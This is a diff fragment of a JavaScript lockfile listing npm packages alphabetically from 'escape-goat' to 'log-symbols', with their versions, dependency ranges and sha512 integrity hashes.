+ "escape-goat": ["[email protected]", "", {}, "sha512-2Sd4ShcWxbx6OY1IHyla/CVNwvg7XwZVoXZHcSu9w9SReNP1EzzD5T8NWKIR38fIqEns9kDWKUQTXXAmlDrdPg=="],
+
+ "escape-string-regexp": ["[email protected]", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="],
+
+ "estree-walker": ["[email protected]", "", {}, "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="],
+
+ "execa": ["[email protected]", "", { "dependencies": { "@sindresorhus/merge-streams": "^4.0.0", "cross-spawn": "^7.0.6", "figures": "^6.1.0", "get-stream": "^9.0.0", "human-signals": "^8.0.1", "is-plain-obj": "^4.1.0", "is-stream": "^4.0.1", "npm-run-path": "^6.0.0", "pretty-ms": "^9.2.0", "signal-exit": "^4.1.0", "strip-final-newline": "^4.0.0", "yoctocolors": "^2.1.1" } }, "sha512-9Be3ZoN4LmYR90tUoVu2te2BsbzHfhJyfEiAVfz7N5/zv+jduIfLrV2xdQXOHbaD6KgpGdO9PRPM1Y4Q9QkPkA=="],
+
+ "exit-hook": ["[email protected]", "", {}, "sha512-INjr2xyxHo7bhAqf5ong++GZPPnpcuBcaXUKt03yf7Fie9yWD7FapL4teOU0+awQazGs5ucBh7xWs/AD+6nhog=="],
+
+ "expect-type": ["[email protected]", "", {}, "sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA=="],
+
+ "exsolve": ["[email protected]", "", {}, "sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA=="],
+
+ "external-editor": ["[email protected]", "", { "dependencies": { "chardet": "^0.7.0", "iconv-lite": "^0.4.24", "tmp": "^0.0.33" } }, "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew=="],
+
+ "fast-deep-equal": ["[email protected]", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="],
+
+ "fast-glob": ["[email protected]", "", { "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", "micromatch": "^4.0.8" } }, "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg=="],
+
+ "fast-string-truncated-width": ["[email protected]", "", {}, "sha512-0jjjIEL6+0jag3l2XWWizO64/aZVtpiGE3t0Zgqxv0DPuxiMjvB3M24fCyhZUO4KomJQPj3LTSUnDP3GpdwC0g=="],
+
+ "fast-string-width": ["[email protected]", "", { "dependencies": { "fast-string-truncated-width": "^3.0.2" } }, "sha512-gX8LrtNEI5hq8DVUfRQMbr5lpaS4nMIWV+7XEbXk2b8kiQIizgnlr12B4dA3ZEx3308ze0O4Q1R+cHts8kyUJg=="],
+
+ "fast-uri": ["[email protected]", "", {}, "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA=="],
+
+ "fast-wrap-ansi": ["[email protected]", "", { "dependencies": { "fast-string-width": "^3.0.2" } }, "sha512-rLV8JHxTyhVmFYhBJuMujcrHqOT2cnO5Zxj37qROj23CP39GXubJRBUFF0z8KFK77Uc0SukZUf7JZhsVEQ6n8w=="],
+
+ "fastq": ["[email protected]", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw=="],
+
+ "fdir": ["[email protected]", "", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="],
+
+ "figures": ["[email protected]", "", { "dependencies": { "is-unicode-supported": "^2.0.0" } }, "sha512-d+l3qxjSesT4V7v2fh+QnmFnUWv9lSpjarhShNTgBOfA0ttejbQUAlHLitbjkoRiDulW0OPoQPYIGhIC8ohejg=="],
+
+ "fill-range": ["[email protected]", "", { "dependencies": { "to-regex-range": "^5.0.1" } }, "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg=="],
+
+ "find-up": ["[email protected]", "", { "dependencies": { "locate-path": "^5.0.0", "path-exists": "^4.0.0" } }, "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw=="],
+
+ "find-up-simple": ["[email protected]", "", {}, "sha512-afd4O7zpqHeRyg4PfDQsXmlDe2PfdHtJt6Akt8jOWaApLOZk5JXs6VMR29lz03pRe9mpykrRCYIYxaJYcfpncQ=="],
+
+ "fs-extra": ["[email protected]", "", { "dependencies": { "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-CTXd6rk/M3/ULNQj8FBqBWHYBVYybQ3VPBw0xGKFe3tuH7ytT6ACnvzpIQ3UZtB8yvUKC2cXn1a+x+5EVQLovA=="],
+
+ "fsevents": ["[email protected]", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
+
+ "function-bind": ["[email protected]", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="],
+
+ "get-east-asian-width": ["[email protected]", "", {}, "sha512-CQ+bEO+Tva/qlmw24dCejulK5pMzVnUOFOijVogd3KQs07HnRIgp8TGipvCCRT06xeYEbpbgwaCxglFyiuIcmA=="],
+
+ "get-stream": ["[email protected]", "", { "dependencies": { "@sec-ant/readable-stream": "^0.4.1", "is-stream": "^4.0.1" } }, "sha512-kVCxPF3vQM/N0B1PmoqVUqgHP+EeVjmZSQn+1oCRPxd2P21P2F19lIgbR3HBosbB1PUhOAoctJnfEn2GbN2eZA=="],
+
+ "github-url-from-git": ["[email protected]", "", {}, "sha512-WWOec4aRI7YAykQ9+BHmzjyNlkfJFG8QLXnDTsLz/kZefq7qkzdfo4p6fkYYMIq1aj+gZcQs/1HQhQh3DPPxlQ=="],
+
+ "glob-parent": ["[email protected]", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="],
+
+ "global-directory": ["[email protected]", "", { "dependencies": { "ini": "4.1.1" } }, "sha512-wHTUcDUoZ1H5/0iVqEudYW4/kAlN5cZ3j/bXn0Dpbizl9iaUVeWSHqiOjsgk6OW2bkLclbBjzewBz6weQ1zA2Q=="],
+
+ "globby": ["[email protected]", "", { "dependencies": { "@sindresorhus/merge-streams": "^2.1.0", "fast-glob": "^3.3.3", "ignore": "^7.0.3", "path-type": "^6.0.0", "slash": "^5.1.0", "unicorn-magic": "^0.3.0" } }, "sha512-0Ia46fDOaT7k4og1PDW4YbodWWr3scS2vAr2lTbsplOt2WkKp0vQbkI9wKis/T5LV/dqPjO3bpS/z6GTJB82LA=="],
+
+ "graceful-fs": ["[email protected]", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
+
+ "has-ansi": ["[email protected]", "", { "dependencies": { "ansi-regex": "^2.0.0" } }, "sha512-C8vBJ8DwUCx19vhm7urhTuUsr4/IyP6l4VzNQDv+ryHQObW3TTTp9yB68WpYgRe2bbaGuZ/se74IqFeVnMnLZg=="],
+
+ "has-flag": ["[email protected]", "", {}, "sha512-CsNUt5x9LUdx6hnk/E2SZLsDyvfqANZSUq4+D3D8RzDJ2M+HDTIkF60ibS1vHaK55vzgiZw1bEPFG9yH7l33wA=="],
+
+ "hasown": ["[email protected]", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="],
+
+ "he": ["[email protected]", "", { "bin": { "he": "bin/he" } }, "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw=="],
+
+ "hosted-git-info": ["[email protected]", "", { "dependencies": { "lru-cache": "^11.1.0" } }, "sha512-M422h7o/BR3rmCQ8UHi7cyyMqKltdP9Uo+J2fXK+RSAY+wTcKOIRyhTuKv4qn+DJf3g+PL890AzId5KZpX+CBg=="],
+
+ "human-signals": ["[email protected]", "", {}, "sha512-eKCa6bwnJhvxj14kZk5NCPc6Hb6BdsU9DZcOnmQKSnO1VKrfV0zCvtttPZUsBvjmNDn8rpcJfpwSYnHBjc95MQ=="],
+
+ "iconv-lite": ["[email protected]", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3" } }, "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA=="],
+
+ "ignore": ["[email protected]", "", {}, "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg=="],
+
+ "ignore-walk": ["[email protected]", "", { "dependencies": { "minimatch": "^10.0.3" } }, "sha512-FCeMZT4NiRQGh+YkeKMtWrOmBgWjHjMJ26WQWrRQyoyzqevdaGSakUaJW5xQYmjLlUVk2qUnCjYVBax9EKKg8A=="],
+
+ "import-fresh": ["[email protected]", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ=="],
+
+ "import-lazy": ["[email protected]", "", {}, "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw=="],
+
+ "import-local": ["[email protected]", "", { "dependencies": { "pkg-dir": "^4.2.0", "resolve-cwd": "^3.0.0" }, "bin": { "import-local-fixture": "fixtures/cli.js" } }, "sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA=="],
+
+ "indent-string": ["[email protected]", "", {}, "sha512-BYqTHXTGUIvg7t1r4sJNKcbDZkL92nkXA8YtRpbjFHRHGDL/NtUeiBJMeE60kIFN/Mg8ESaWQvftaYMGJzQZCQ=="],
+
+ "index-to-position": ["[email protected]", "", {}, "sha512-Yg7+ztRkqslMAS2iFaU+Oa4KTSidr63OsFGlOrJoW981kIYO3CGCS3wA95P1mUi/IVSJkn0D479KTJpVpvFNuw=="],
+
+ "ini": ["[email protected]", "", {}, "sha512-QQnnxNyfvmHFIsj7gkPcYymR8Jdw/o7mp5ZFihxn6h8Ci6fh3Dx4E1gPjpQEpIuPo9XVNY/ZUwh4BPMjGyL01g=="],
+
+ "inquirer": ["[email protected]", "", { "dependencies": { "@inquirer/ansi": "^2.0.4", "@inquirer/core": "^11.1.7", "@inquirer/prompts": "^8.3.2", "@inquirer/type": "^4.0.4", "mute-stream": "^3.0.0", "run-async": "^4.0.6", "rxjs": "^7.8.2" }, "peerDependencies": { "@types/node": ">=18" }, "optionalPeers": ["@types/node"] }, "sha512-bh/OjBGxNR9qvfQj1n5bxtIF58mbOTp2InN5dKuwUK03dXcDGFsjlDinQRuXMZ4EGiJaFieUWHCAaxH2p7iUBw=="],
+
+ "inquirer-autosubmit-prompt": ["[email protected]", "", { "dependencies": { "chalk": "^2.4.1", "inquirer": "^6.2.1", "rxjs": "^6.3.3" } }, "sha512-mzNrusCk5L6kSzlN0Ioddn8yzrhYNLli+Sn2ZxMuLechMYAzakiFCIULxsxlQb5YKzthLGfrFACcWoAvM7p04Q=="],
+
+ "is-arrayish": ["[email protected]", "", {}, "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="],
+
+ "is-core-module": ["[email protected]", "", { "dependencies": { "hasown": "^2.0.2" } }, "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w=="],
+
+ "is-docker": ["[email protected]", "", { "bin": { "is-docker": "cli.js" } }, "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ=="],
+
+ "is-extglob": ["[email protected]", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="],
+
+ "is-fullwidth-code-point": ["[email protected]", "", {}, "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="],
+
+ "is-glob": ["[email protected]", "", { "dependencies": { "is-extglob": "^2.1.1" } }, "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg=="],
+
+ "is-in-ci": ["[email protected]", "", { "bin": { "is-in-ci": "cli.js" } }, "sha512-eUuAjybVTHMYWm/U+vBO1sY/JOCgoPCXRxzdju0K+K0BiGW0SChEL1MLC0PoCIR1OlPo5YAp8HuQoUlsWEICwg=="],
+
+ "is-in-ssh": ["[email protected]", "", {}, "sha512-jYa6Q9rH90kR1vKB6NM7qqd1mge3Fx4Dhw5TVlK1MUBqhEOuCagrEHMevNuCcbECmXZ0ThXkRm+Ymr51HwEPAw=="],
+
+ "is-inside-container": ["[email protected]", "", { "dependencies": { "is-docker": "^3.0.0" }, "bin": { "is-inside-container": "cli.js" } }, "sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA=="],
+
+ "is-installed-globally": ["[email protected]", "", { "dependencies": { "global-directory": "^4.0.1", "is-path-inside": "^4.0.0" } }, "sha512-K55T22lfpQ63N4KEN57jZUAaAYqYHEe8veb/TycJRk9DdSCLLcovXz/mL6mOnhQaZsQGwPhuFopdQIlqGSEjiQ=="],
+
+ "is-interactive": ["[email protected]", "", {}, "sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ=="],
+
+ "is-npm": ["[email protected]", "", {}, "sha512-O2z4/kNgyjhQwVR1Wpkbfc19JIhggF97NZNCpWTnjH7kVcZMUrnut9XSN7txI7VdyIYk5ZatOq3zvSuWpU8hoA=="],
+
+ "is-number": ["[email protected]", "", {}, "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="],
+
+ "is-observable": ["[email protected]", "", { "dependencies": { "symbol-observable": "^1.1.0" } }, "sha512-NqCa4Sa2d+u7BWc6CukaObG3Fh+CU9bvixbpcXYhy2VvYS7vVGIdAgnIS5Ks3A/cqk4rebLJ9s8zBstT2aKnIA=="],
+
+ "is-path-cwd": ["[email protected]", "", {}, "sha512-kyiNFFLU0Ampr6SDZitD/DwUo4Zs1nSdnygUBqsu3LooL00Qvb5j+UnvApUn/TTj1J3OuE6BTdQ5rudKmU2ZaA=="],
+
+ "is-path-inside": ["[email protected]", "", {}, "sha512-lJJV/5dYS+RcL8uQdBDW9c9uWFLLBNRyFhnAKXw5tVqLlKZ4RMGZKv+YQ/IA3OhD+RpbJa1LLFM1FQPGyIXvOA=="],
+
+ "is-plain-obj": ["[email protected]", "", {}, "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg=="],
+
+ "is-promise": ["[email protected]", "", {}, "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ=="],
+
+ "is-scoped": ["[email protected]", "", { "dependencies": { "scoped-regex": "^3.0.0" } }, "sha512-ezxLUq30kiTvP0w/5n9tj4qTOKlrA07Oty1hwTQ+lcqw11x6uc8sp7VRb2OVGRzKfCHZ2A22T5Zsau/Q2Akb0g=="],
+
+ "is-stream": ["[email protected]", "", {}, "sha512-Dnz92NInDqYckGEUJv689RbRiTSEHCQ7wOVeALbkOz999YpqT46yMRIGtSNl2iCL1waAZSx40+h59NV/EwzV/A=="],
+
+ "is-unicode-supported": ["[email protected]", "", {}, "sha512-mE00Gnza5EEB3Ds0HfMyllZzbBrmLOX3vfWoj9A9PEnTfratQ/BcaJOuMhnkhjXvb2+FkY3VuHqtAGpTPmglFQ=="],
+
+ "is-url-superb": ["[email protected]", "", {}, "sha512-LXdhGlYqUPdvEyIhWPEEwYYK3yrUiPcBjmFGlZNv1u5GtIL5qQRf7ddDyPNAvsMFqdzS923FROpTQU97tLe3JQ=="],
+
+ "is-wayland": ["[email protected]", "", {}, "sha512-QkbMsWkIfkrzOPxenwye0h56iAXirZYHG9eHVPb22fO9y+wPbaX/CHacOWBa/I++4ohTcByimhM1/nyCsH8KNA=="],
+
+ "is-wsl": ["[email protected]", "", { "dependencies": { "is-inside-container": "^1.0.0" } }, "sha512-e6rvdUCiQCAuumZslxRJWR/Doq4VpPR82kqclvcS0efgt430SlGIk05vdCN58+VrzgtIcfNODjozVielycD4Sw=="],
+
+ "is64bit": ["[email protected]", "", { "dependencies": { "system-architecture": "^0.1.0" } }, "sha512-jv+8jaWCl0g2lSBkNSVXdzfBA0npK1HGC2KtWM9FumFRoGS94g3NbCCLVnCYHLjp4GrW2KZeeSTMo5ddtznmGw=="],
+
+ "isexe": ["[email protected]", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="],
+
+ "issue-regex": ["[email protected]", "", {}, "sha512-7731a/t2llyrk8Hdwl1x3LkhIFGzxHQGpJA7Ur9cIRViakQF2y25Lwhx8Ziy1B068+kBYUmYPBzw5uo3DdWrdQ=="],
+
+ "jju": ["[email protected]", "", {}, "sha512-8wb9Yw966OSxApiCt0K3yNJL8pnNeIv+OEq2YMidz4FKP6nonSRoOXc80iXY4JaN2FC11B9qsNmDsm+ZOfMROA=="],
+
+ "js-tokens": ["[email protected]", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="],
+
+ "js-yaml": ["[email protected]", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA=="],
+
+ "json-parse-even-better-errors": ["[email protected]", "", {}, "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w=="],
+
+ "json-schema-traverse": ["[email protected]", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
+
+ "jsonfile": ["[email protected]", "", { "dependencies": { "universalify": "^2.0.0" }, "optionalDependencies": { "graceful-fs": "^4.1.6" } }, "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg=="],
+
+ "kolorist": ["[email protected]", "", {}, "sha512-Y+60/zizpJ3HRH8DCss+q95yr6145JXZo46OTpFvDZWLfRCE4qChOyk1b26nMaNpfHHgxagk9dXT5OP0Tfe+dQ=="],
+
+ "ky": ["[email protected]", "", {}, "sha512-9zy9lkjac+TR1c2tG+mkNSVlyOpInnWdSMiue4F+kq8TwJSgv6o8jhLRg8Ho6SnZ9wOYUq/yozts9qQCfk7bIw=="],
+
+ "latest-version": ["[email protected]", "", { "dependencies": { "package-json": "^10.0.0" } }, "sha512-7W0vV3rqv5tokqkBAFV1LbR7HPOWzXQDpDgEuib/aJ1jsZZx6x3c2mBI+TJhJzOhkGeaLbCKEHXEXLfirtG2JA=="],
+
+ "lightningcss": ["[email protected]", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.32.0", "lightningcss-darwin-arm64": "1.32.0", "lightningcss-darwin-x64": "1.32.0", "lightningcss-freebsd-x64": "1.32.0", "lightningcss-linux-arm-gnueabihf": "1.32.0", "lightningcss-linux-arm64-gnu": "1.32.0", "lightningcss-linux-arm64-musl": "1.32.0", "lightningcss-linux-x64-gnu": "1.32.0", "lightningcss-linux-x64-musl": "1.32.0", "lightningcss-win32-arm64-msvc": "1.32.0", "lightningcss-win32-x64-msvc": "1.32.0" } }, "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ=="],
+
+ "lightningcss-android-arm64": ["[email protected]", "", { "os": "android", "cpu": "arm64" }, "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg=="],
+
+ "lightningcss-darwin-arm64": ["[email protected]", "", { "os": "darwin", "cpu": "arm64" }, "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ=="],
+
+ "lightningcss-darwin-x64": ["[email protected]", "", { "os": "darwin", "cpu": "x64" }, "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w=="],
+
+ "lightningcss-freebsd-x64": ["[email protected]", "", { "os": "freebsd", "cpu": "x64" }, "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig=="],
+
+ "lightningcss-linux-arm-gnueabihf": ["[email protected]", "", { "os": "linux", "cpu": "arm" }, "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw=="],
+
+ "lightningcss-linux-arm64-gnu": ["[email protected]", "", { "os": "linux", "cpu": "arm64" }, "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ=="],
+
+ "lightningcss-linux-arm64-musl": ["[email protected]", "", { "os": "linux", "cpu": "arm64" }, "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg=="],
+
+ "lightningcss-linux-x64-gnu": ["[email protected]", "", { "os": "linux", "cpu": "x64" }, "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA=="],
+
+ "lightningcss-linux-x64-musl": ["[email protected]", "", { "os": "linux", "cpu": "x64" }, "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg=="],
+
+ "lightningcss-win32-arm64-msvc": ["[email protected]", "", { "os": "win32", "cpu": "arm64" }, "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw=="],
+
+ "lightningcss-win32-x64-msvc": ["[email protected]", "", { "os": "win32", "cpu": "x64" }, "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q=="],
+
+ "lines-and-columns": ["[email protected]", "", {}, "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="],
+
+ "listr": ["[email protected]", "", { "dependencies": { "@samverschueren/stream-to-observable": "^0.3.0", "is-observable": "^1.1.0", "is-promise": "^2.1.0", "is-stream": "^1.1.0", "listr-silent-renderer": "^1.1.1", "listr-update-renderer": "^0.5.0", "listr-verbose-renderer": "^0.5.0", "p-map": "^2.0.0", "rxjs": "^6.3.3" } }, "sha512-RmAl7su35BFd/xoMamRjpIE4j3v+L28o8CT5YhAXQJm1fD+1l9ngXY8JAQRJ+tFK2i5njvi0iRUKV09vPwA0iA=="],
+
+ "listr-input": ["[email protected]", "", { "dependencies": { "inquirer": "^7.0.0", "inquirer-autosubmit-prompt": "^0.2.0", "rxjs": "^6.5.3", "through": "^2.3.8" } }, "sha512-oa8iVG870qJq+OuuMK3DjGqFcwsK1SDu+kULp9kEq09TY231aideIZenr3lFOQdASpAr6asuyJBbX62/a3IIhg=="],
+
+ "listr-silent-renderer": ["[email protected]", "", {}, "sha512-L26cIFm7/oZeSNVhWB6faeorXhMg4HNlb/dS/7jHhr708jxlXrtrBWo4YUxZQkc6dGoxEAe6J/D3juTRBUzjtA=="],
+
+ "listr-update-renderer": ["[email protected]", "", { "dependencies": { "chalk": "^1.1.3", "cli-truncate": "^0.2.1", "elegant-spinner": "^1.0.1", "figures": "^1.7.0", "indent-string": "^3.0.0", "log-symbols": "^1.0.2", "log-update": "^2.3.0", "strip-ansi": "^3.0.1" }, "peerDependencies": { "listr": "^0.14.2" } }, "sha512-tKRsZpKz8GSGqoI/+caPmfrypiaq+OQCbd+CovEC24uk1h952lVj5sC7SqyFUm+OaJ5HN/a1YLt5cit2FMNsFA=="],
+
+ "listr-verbose-renderer": ["[email protected]", "", { "dependencies": { "chalk": "^2.4.1", "cli-cursor": "^2.1.0", "date-fns": "^1.27.2", "figures": "^2.0.0" } }, "sha512-04PDPqSlsqIOaaaGZ+41vq5FejI9auqTInicFRndCBgE3bXG8D6W1I+mWhk+1nqbHmyhla/6BUrd5OSiHwKRXw=="],
+
+ "local-pkg": ["[email protected]", "", { "dependencies": { "mlly": "^1.7.4", "pkg-types": "^2.3.0", "quansync": "^0.2.11" } }, "sha512-arhlxbFRmoQHl33a0Zkle/YWlmNwoyt6QNZEIJcqNbdrsix5Lvc4HyyI3EnwxTYlZYc32EbYrQ8SzEZ7dqgg9A=="],
+
+ "locate-path": ["[email protected]", "", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="],
+
+ "lodash": ["[email protected]", "", {}, "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w=="],
+
+ "lodash.zip": ["[email protected]", "", {}, "sha512-C7IOaBBK/0gMORRBd8OETNx3kmOkgIWIPvyDpZSCTwUrpYmgZwJkjZeOD8ww4xbOUOs4/attY+pciKvadNfFbg=="],
+
+ "log-symbols": ["[email protected]", "", { "dependencies": { "is-unicode-supported": "^2.0.0", "yoctocolors": "^2.1.1" } }, "sha512-ja1E3yCr9i/0hmBVaM0bfwDjnGy8I/s6PP4DFp+yP+a+mrHO4Rm7DtmnqROTUkHIkqffC84YY7AeqX6oFk0WFg=="],
+
